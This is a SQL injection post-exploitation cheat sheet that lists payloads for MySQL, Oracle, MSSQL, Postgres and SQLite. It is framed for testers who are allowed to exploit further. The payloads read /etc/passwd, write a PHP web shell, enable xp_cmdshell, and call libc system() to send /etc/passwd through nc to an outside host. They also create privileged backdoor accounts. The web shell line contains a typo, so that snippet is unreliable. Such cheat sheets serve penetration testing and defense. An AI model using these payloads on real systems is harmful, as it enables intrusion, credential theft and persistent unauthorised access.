



Assumptions

- You have found SQL injection
- You are allowed to further exploit the system

Recon 1

- Hostname/IP
 - MySQL:
 - `SELECT @@hostname;`
 - Oracle:
 - `SELECT UTL_INADDR.get_host_name FROM dual;`
 - `SELECT host_name FROM v$instance;`
 - `SELECT UTL_INADDR.get_host_address FROM dual;`
 - MSSQL:
 - `SELECT HOST_NAME();`
 - Postgres SQL:
 - `SELECT inet_server_addr();`

Recon 2

- DB Location
 - MySQL:
 - `SELECT @@datadir;`
 - Oracle:
 - `SELECT name FROM V$DATAFILE;`
 - MSSQL:
 - `EXEC sp_helpdb master;`
 - Postgres SQL:
 - `SELECT current_setting('data_directory');`

Accessing Local Files

- MySQL
 - `' UNION ALL SELECT LOAD_FILE('/etc/passwd')`
- MSSQL
 - `CREATE TABLE mydata (line varchar(8000));`
 - `BULK INSERT mydata FROM 'c:boot.ini';`
- Postgres SQL
 - `CREATE TABLE mydata(t text);`
 - `COPY mydata FROM '/etc/passwd';`
 - `' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1;`
 - `' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2;`

Writing Local Files

- MySQL
 - `SELECT 'test' FROM users INTO outfile '/tmp/somefile';`
- Postgres SQL
 - `CREATE TABLE mytable (mycol text);`
 - `INSERT INTO mytable(mycol) VALUES ('<?pasthru($_GET[cmd]); ?>');`
 - `COPY mytable (mycol) TO '/tmp/test.php';`
- SQLite
 - `ATTACH DATABASE '/var/www/test.php';`
 - `CREATE TABLE test.blah (dat text);`
 - `INSERT INTO test.blah (dat) VALUES ('test');`

Command Execution

- MSSQL

- EXEC sp_configure 'show advanced options', 1;
- RECONFIGURE;
- EXEC sp_configure 'xp_cmdshell', 1;
- RECONFIGURE;
- EXEC xp_cmdshell 'net user';

- Postgres SQL

- CREATE OR REPLACE FUNCTION system(cstring)
RETURNS int AS '/lib/libc.so.6', 'system'
LANGUAGE 'C' STRICT;
- SELECT system('cat /etc/passwd | nc
10.0.0.1 8080');

Create Users

- MySQL
 - CREATE USER test1 IDENTIFIED BY 'pass1';
 - GRANT ALL PRIVILEGES ON *.* TO test1@'%';
- Oracle
- MSSQL
 - EXEC sp_addlogin 'user', 'pass';
 - EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin';
- Postgres SQL
 - CREATE USER test1 PASSWORD 'pass1';
 - ALTER USER test1 CREATEUSER CREATEDB;
- SQLite

References/Sources

- <http://atta.cked.me/home/sqlite3injectioncheatsheet>
- <http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet>
- <http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet>
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- <http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/>
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